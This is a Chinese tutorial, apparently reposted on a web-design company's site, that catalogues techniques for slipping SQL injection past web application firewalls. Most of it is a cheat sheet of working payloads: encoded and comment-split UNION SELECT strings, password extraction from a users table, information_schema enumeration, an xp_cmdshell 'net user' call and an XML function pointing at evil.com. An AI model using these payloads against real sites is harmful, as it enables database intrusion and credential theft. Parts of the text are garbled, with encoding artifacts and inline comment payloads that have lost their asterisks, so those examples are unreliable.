本篇內(nèi)容介紹了“web安全中SQL注入繞過技術(shù)怎么實(shí)現(xiàn)”的有關(guān)知識(shí),在實(shí)際案例的操作過程中,不少人都會(huì)遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!
成都一家集口碑和實(shí)力的網(wǎng)站建設(shè)服務(wù)商,擁有專業(yè)的企業(yè)建站團(tuán)隊(duì)和靠譜的建站技術(shù),10多年企業(yè)及個(gè)人網(wǎng)站建設(shè)經(jīng)驗(yàn) ,為成都成百上千家客戶提供網(wǎng)頁(yè)設(shè)計(jì)制作,網(wǎng)站開發(fā),企業(yè)網(wǎng)站制作建設(shè)等服務(wù),包括成都營(yíng)銷型網(wǎng)站建設(shè),品牌網(wǎng)站建設(shè),同時(shí)也為不同行業(yè)的客戶提供成都網(wǎng)站設(shè)計(jì)、成都網(wǎng)站建設(shè)的服務(wù),包括成都電商型網(wǎng)站制作建設(shè),裝修行業(yè)網(wǎng)站制作建設(shè),傳統(tǒng)機(jī)械行業(yè)網(wǎng)站建設(shè),傳統(tǒng)農(nóng)業(yè)行業(yè)網(wǎng)站制作建設(shè)。在成都做網(wǎng)站,選網(wǎng)站制作建設(shè)服務(wù)商就選創(chuàng)新互聯(lián)建站。
之所以要談到WAF的常見特征,是為了更好的了解WAF的運(yùn)行機(jī)制,這樣就能增加幾分繞過的機(jī)會(huì)了。本文不對(duì)WAF做詳細(xì)介紹,只談及幾點(diǎn)相關(guān)的。
總體來說,WAF(Web Application Firewall)的具有以下四個(gè)方面的功能:
\1. 審計(jì)設(shè)備:用來截獲所有HTTP數(shù)據(jù)或者僅僅滿足某些規(guī)則的會(huì)話
\2. 訪問控制設(shè)備:用來控制對(duì)Web應(yīng)用的訪問,既包括主動(dòng)安全模式也包括被動(dòng)安全模式
\3. 架構(gòu)/網(wǎng)絡(luò)設(shè)計(jì)工具:當(dāng)運(yùn)行在反向代理模式,他們被用來分配職能,集中控制,虛擬基礎(chǔ)結(jié)構(gòu)等。
\4. WEB應(yīng)用加固工具:這些功能增強(qiáng)被保護(hù)Web應(yīng)用的安全性,它不僅能夠屏蔽WEB應(yīng)用固有弱點(diǎn),而且能夠保護(hù)WEB應(yīng)用編程錯(cuò)誤導(dǎo)致的安全隱患。
WAF的常見特點(diǎn):
異常檢測(cè)協(xié)議:拒絕不符合HTTP標(biāo)準(zhǔn)的請(qǐng)求
增強(qiáng)的輸入驗(yàn)證:代理和服務(wù)端的驗(yàn)證,而不只是限于客戶端驗(yàn)證
白名單&黑名單:白名單適用于穩(wěn)定的We應(yīng)用,黑名單適合處理已知問題
基于規(guī)則和基于異常的保護(hù):基于規(guī)則更多的依賴黑名單機(jī)制,基于異常更為靈活
狀態(tài)管理:重點(diǎn)進(jìn)行會(huì)話保護(hù)
另還有:Coikies保護(hù)、抗入侵規(guī)避技術(shù)、響應(yīng)監(jiān)視和信息泄露保護(hù)等
如果是對(duì)于掃描器,WAF有其識(shí)別之道:
掃描器識(shí)別主要由以下幾點(diǎn):
1) 掃描器指紋(head字段/請(qǐng)求參數(shù)值),以wvs為例,會(huì)有很明顯的Acunetix在內(nèi)的標(biāo)識(shí)
2) 單IP+ cookie某時(shí)間段內(nèi)觸發(fā)規(guī)則次數(shù)
3) 隱藏的鏈接標(biāo)簽等()
4) Cookie植入
5) 驗(yàn)證碼驗(yàn)證,掃描器無法自動(dòng)填充驗(yàn)證碼
6) 單IP請(qǐng)求時(shí)間段內(nèi)Webserver返回http狀態(tài)404比例, 掃描器探測(cè)敏感目錄基于字典,找不到文件則返回404
從目前能找到的資料來看,我把這些繞過waf的技術(shù)分為9類,包含從初級(jí)到高級(jí)技巧
a) 大小寫混合
b)替換關(guān)鍵字
c)使用編碼
d)使用注釋
e)等價(jià)函數(shù)與命令
f)特殊符號(hào)
g)HTTP參數(shù)控制
h)緩沖區(qū)溢出
i)整合繞過
大小寫繞過用于只針對(duì)小寫或大寫的關(guān)鍵字匹配技術(shù),正則表達(dá)式/express/i 大小寫不敏感即無法繞過,這是最簡(jiǎn)單的繞過技術(shù)
舉例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例場(chǎng)景可能的情況為filter的規(guī)則里有對(duì)大小寫轉(zhuǎn)換的處理,但不是每個(gè)關(guān)鍵字或每種情況都有處理
這種情況下大小寫轉(zhuǎn)化無法繞過,而且正則表達(dá)式會(huì)替換或刪除select、union這些關(guān)鍵字,如果只匹配一次就很容易繞過
舉例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
同樣是很基礎(chǔ)的技術(shù),有些時(shí)候甚至構(gòu)造得更復(fù)雜:SeLSeselectleCTecT,不建議對(duì)此抱太大期望
1.URL編碼
在Chrome中輸入一個(gè)連接,非保留字的字符瀏覽器會(huì)對(duì)其URL編碼,如空格變?yōu)?20、單引號(hào)%27、左括號(hào)%28、右括號(hào)%29
普通的URL編碼可能無法實(shí)現(xiàn)繞過,還存在一種情況URL編碼只進(jìn)行了一次過濾,可以用兩次編碼繞過:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
2.十六進(jìn)制編碼
舉例:z.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代碼中,前者是對(duì)單個(gè)字符十六進(jìn)制編碼,后者則是對(duì)整個(gè)字符串編碼,使用上來說較少見一點(diǎn)
3.Unicode編碼
Unicode有所謂的標(biāo)準(zhǔn)編碼和非標(biāo)準(zhǔn)編碼,假設(shè)我們用的utf-8為標(biāo)準(zhǔn)編碼,那么西歐語系所使用的就是非標(biāo)準(zhǔn)編碼了
看一下常用的幾個(gè)符號(hào)的一些Unicode編碼:
單引號(hào): %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括號(hào):%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括號(hào):%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
舉例:?id=10%D6‘%20AND%201=2%23
SELECT '?'='A'; #1
兩個(gè)示例中,前者利用雙字節(jié)繞過,比如對(duì)單引號(hào)轉(zhuǎn)義操作變成',那么就變成了%D6%5C',%D6%5C構(gòu)成了一個(gè)款字節(jié)即Unicode字節(jié),單引號(hào)可以正常使用
第二個(gè)示例使用的是兩種不同編碼的字符的比較,它們比較的結(jié)果可能是True或者False,關(guān)鍵在于Unicode編碼種類繁多,基于黑名單的過濾器無法處理所以情況,從而實(shí)現(xiàn)繞過
另外平時(shí)聽得多一點(diǎn)的可能是utf-7的繞過,還有utf-16、utf-32的繞過,后者從成功的實(shí)現(xiàn)對(duì)google的繞過,有興趣的朋友可以去了解下
常見的編碼當(dāng)然還有二進(jìn)制、八進(jìn)制,它們不一定都派得上用場(chǎng),但后面會(huì)提到使用二進(jìn)制的例子
看一下常見的用于注釋的符號(hào)有哪些://, -- , /**/, #, --+,-- -, ;**,--a
1.普通注釋
舉例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
/**/在構(gòu)造得查詢語句中插入注釋,規(guī)避對(duì)空格的依賴或關(guān)鍵字識(shí)別;#、--+用于終結(jié)語句的查詢
2.內(nèi)聯(lián)注釋
相比普通注釋,內(nèi)聯(lián)注釋用的更多,它有一個(gè)特性/!**/只有MySQL能識(shí)別
舉例:index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3
?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…
兩個(gè)示例中前者使用內(nèi)聯(lián)注釋,后者還用到了普通注釋。使用注釋一個(gè)很有用的做法便是對(duì)關(guān)鍵字的拆分,要做到這一點(diǎn)后面討論的特殊符號(hào)也能實(shí)現(xiàn),當(dāng)然前提是包括/、*在內(nèi)的這些字符能正常使用
有些函數(shù)或命令因其關(guān)鍵字被檢測(cè)出來而無法使用,但是在很多情況下可以使用與之等價(jià)或類似的代碼替代其使用
1.函數(shù)或變量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
舉例:substring()和substr()無法使用時(shí):?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
上述這幾個(gè)示例用于說明有時(shí)候當(dāng)某個(gè)函數(shù)不能使用時(shí),還可以找到其他的函數(shù)替代其實(shí)現(xiàn),置于select、uinon、where等關(guān)鍵字被限制如何處理將在后面filter部分討論
2.符號(hào)
and和or有可能不能使用,或者可以試下&&和||能不能用;還有=不能使用的情況,可以考慮嘗試<、>,因?yàn)槿绻恍∮谟植淮笥?,那邊是等于?/p>
在看一下用得多的空格,可以使用如下符號(hào)表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/
3.生僻函數(shù)
MySQL/PostgreSQL支持XML函數(shù):Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它們都有許多自己的函數(shù),基于黑名單的filter要想涵蓋這么多東西從實(shí)際上來說不太可能,而且代價(jià)太大,看來黑名單技術(shù)到一定程度便遇到了限制
這里我把非字母數(shù)字的字符都規(guī)在了特殊符號(hào)一類,特殊符號(hào)有特殊的含義和用法,涉及信息量比前面提到的幾種都要多
先看下烏云drops上“waf的繞過技巧”一文使用的幾個(gè)例子:
1.使用反引號(hào),例如select
version()`,可以用來過空格和正則,特殊情況下還可以將其做注釋符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串連接的,”-”和”.”在此也用于連接,可以逃過空格和關(guān)鍵字過濾
3.@符號(hào),select@^1.from users; @用于變量定義如@var_name,一個(gè)@表示用戶定義,@@表示系統(tǒng)變量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //繞過空格限制
可見,使用這些字符的確是能做很多事,也證實(shí)了那句老話,只有想不到,沒有做不到
本人搜羅了部分可能發(fā)揮大作用的字符(未包括'、*、/等在內(nèi),考慮到前面已經(jīng)出現(xiàn)較多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00
舉例:
關(guān)鍵字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
!和():' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于數(shù)值也可以做分隔
本節(jié)最后在給出一些和這些字符多少有點(diǎn)關(guān)系的操作符供參考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用這些"特殊符號(hào)"實(shí)現(xiàn)繞過是一件很細(xì)微的事情,一方面各家數(shù)據(jù)庫(kù)對(duì)有效符號(hào)的處理是不一樣的,另一方面你得充分了解這些符號(hào)的特性和使用方法才能作為繞過手段
這里HTTP參數(shù)控制除了對(duì)查詢語句的參數(shù)進(jìn)行篡改,還包括HTTP方法、HTTP頭的控制
1.HPP(HTTP Parameter Polution)
舉例:/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users
HPP又稱做重復(fù)參數(shù)污染,最簡(jiǎn)單的就是?uid=1&uid=2&uid=3,對(duì)于這種情況,不同的Web服務(wù)器處理方式如下:
具體WAF如何處理,要看其設(shè)置的規(guī)則,不過就示例中最后一個(gè)來看有較大可能繞過
2.HPF(HTTP Parameter Fragment)
這種方法是HTTP分割注入,同CRLF有相似之處(使用控制字符%0a、%0d等執(zhí)行換行)
舉例:
/?a=1+union/&b=/select+1,pass/&c=/from+users--
select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—
看罷上面兩個(gè)示例,發(fā)現(xiàn)和HPP最后一個(gè)示例很像,不同之處在于參數(shù)不一樣,這里是在不同的參數(shù)之間進(jìn)行分割,到了數(shù)據(jù)庫(kù)執(zhí)行查詢時(shí)再合并語句。
3.HPC(HTTP Parameter Contamination)
這一概念見于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同樣意為污染
RFC2396定義了如下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] `
不同的Web服務(wù)器處理處理構(gòu)造得特殊請(qǐng)求時(shí)有不同的邏輯:
以魔術(shù)字符%為例,Asp/Asp.net會(huì)受到影響
緩沖區(qū)溢出用于對(duì)付WAF,有不少WAF是C語言寫的,而C語言自身沒有緩沖區(qū)保護(hù)機(jī)制,因此如果WAF在處理測(cè)試向量時(shí)超出了其緩沖區(qū)長(zhǎng)度,就會(huì)引發(fā)bug從而實(shí)現(xiàn)繞過
舉例:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A"重復(fù)1000次,一般來說對(duì)應(yīng)用軟件構(gòu)成緩沖區(qū)溢出都需要較大的測(cè)試長(zhǎng)度,這里1000只做參考,在某些情況下可能不需要這么長(zhǎng)也能溢出
整合的意思是結(jié)合使用前面談到的各種繞過技術(shù),單一的技術(shù)可能無法繞過過濾機(jī)制,但是多種技術(shù)的配合使用成功的可能性就會(huì)增加不少了。這一方面來說是總體與局部和的關(guān)系,另一方面則是多種技術(shù)的使用創(chuàng)造了更多的可能性,除非每一種技術(shù)單獨(dú)都無法使用,否則它們能產(chǎn)生比自身大得多的能量。
舉例:
z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
“web安全中SQL注入繞過技術(shù)怎么實(shí)現(xiàn)”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí)可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!